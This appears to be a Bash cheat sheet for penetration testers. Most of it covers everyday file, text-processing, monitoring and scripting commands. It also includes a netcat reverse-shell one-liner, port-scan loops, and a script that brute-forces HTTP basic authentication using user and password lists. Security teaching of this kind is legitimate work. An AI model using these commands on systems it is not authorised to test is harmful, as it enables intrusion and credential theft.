# Bash

Bash (Bourne Again SHell) is a powerful command-line interface and scripting language used widely in UNIX-like operating systems. It is essential for security professionals and penetration testers to harness the full potential of Bash for tasks such as automation, information gathering, and exploitation. This cheat sheet provides quick references and examples for using Bash effectively.

### Basic Commands

#### File and Directory Operations

* **List files and directories**: `ls`
* **Change directory**: `cd /path/to/directory`
* **Create a directory**: `mkdir /path/to/directory`
* **Remove a directory**: `rmdir /path/to/directory`
* **Copy files**: `cp /path/to/source /path/to/destination`
* **Move/Rename files**: `mv /path/to/source /path/to/destination`
* **Delete files**: `rm /path/to/file`

#### File Content Operations

* **View file content**: `cat /path/to/file`
* **View file content page by page**: `less /path/to/file`
* **Search inside files**: `grep 'search_term' /path/to/file`
* **Count lines, words, and characters in a file**: `wc /path/to/file`

#### Permissions

* **Change file permissions**: `chmod 755 /path/to/file`
* **Change file ownership**: `chown user:group /path/to/file`

***

### Text Processing

#### awk

* **Print the first column**: `awk '{print $1}' file`
* **Print specific columns**: `awk '{print $1, $3}' file`
* **Pattern matching and printing**: `awk '/pattern/ {print $1}' file`

#### sed

* **Substitute text in a file**: `sed 's/old/new/g' file`
* **Delete lines matching a pattern**: `sed '/pattern/d' file`

#### grep

* **Search for a pattern in files**: `grep 'pattern' file`
* **Recursive search in directories**: `grep -r 'pattern' /path/to/directory`

#### cut

* **Extract columns**: `cut -d':' -f1 /etc/passwd`

#### sort

* **Sort lines in a file**: `sort file`

#### uniq

* **Remove duplicate lines**: `uniq file`

#### tr

* **Translate or delete characters**: `tr 'a-z' 'A-Z' < file`

***

### Network Operations

#### Network Scanning

* **Ping a host**: `ping -c 4 host`
* **Scan open ports with netcat**: `nc -zv host 1-65535`
* **Network enumeration with nmap**: `nmap -A host`

#### File Transfers

* **Download a file with wget**: `wget http://example.com/file`
* **Upload a file with curl**: `curl -T file ftp://example.com`

#### Network Connections

* **Establish a TCP connection**: `nc host port`
* **Open a reverse shell**: `nc -e /bin/bash host port`

***

### System Monitoring

#### Process Management

* **List running processes**: `ps aux`
* **Terminate a process**: `kill PID`
* **Force terminate a process**: `kill -9 PID`

#### Disk Usage

* **Check disk space usage**: `df -h`
* **Check directory size**: `du -sh /path/to/directory`

#### Memory Usage

* **Check memory usage**: `free -h`

***

### Scripting Essentials

#### Variables

* **Define a variable**: `VAR_NAME="value"`
* **Access a variable**: `$VAR_NAME`

#### Conditionals

```bash
if [ condition ]; then
  # commands
elif [ condition ]; then
  # commands
else
  # commands
fi
```

#### Loops

* **For loop**:

```bash
for item in list; do
  # commands
done
```

* **While loop**:

```bash
while [ condition ]; do
  # commands
done
```

#### Functions

```bash
function_name() {
  # commands
}
```

***

### Practical Examples

#### Basic Port Scan

```bash
#!/bin/bash
for port in {1..65535}; do
  timeout 1 bash -c "echo > /dev/tcp/127.0.0.1/$port" 2>/dev/null && echo "Port $port is open"
done
```

#### Directory Backup

```bash
#!/bin/bash
SOURCE="/path/to/source"
DEST="/path/to/destination/backup-$(date +%F).tar.gz"
tar -czvf $DEST $SOURCE
```

#### Log Parsing

```bash
#!/bin/bash
grep "ERROR" /var/log/syslog | awk '{print $1, $2, $5}'
```

#### Basic Authentication Brute Force

```bash
#!/bin/bash
for user in $(cat users.txt); do
  for pass in $(cat passwords.txt); do
    response=$(curl -s -o /dev/null -w "%{http_code}" -u $user:$pass http://target)
    if [ $response -eq 200 ]; then
      echo "Valid credentials: $user:$pass"
    fi
  done
done
```

***

### Security Tips

* **Use absolute paths** in scripts to avoid unexpected behaviors.
* **Validate inputs** to prevent injection attacks.
* **Limit permissions** and use **sudo** sparingly.
* **Log and monitor** script activities.
* **Encrypt sensitive data** in scripts.


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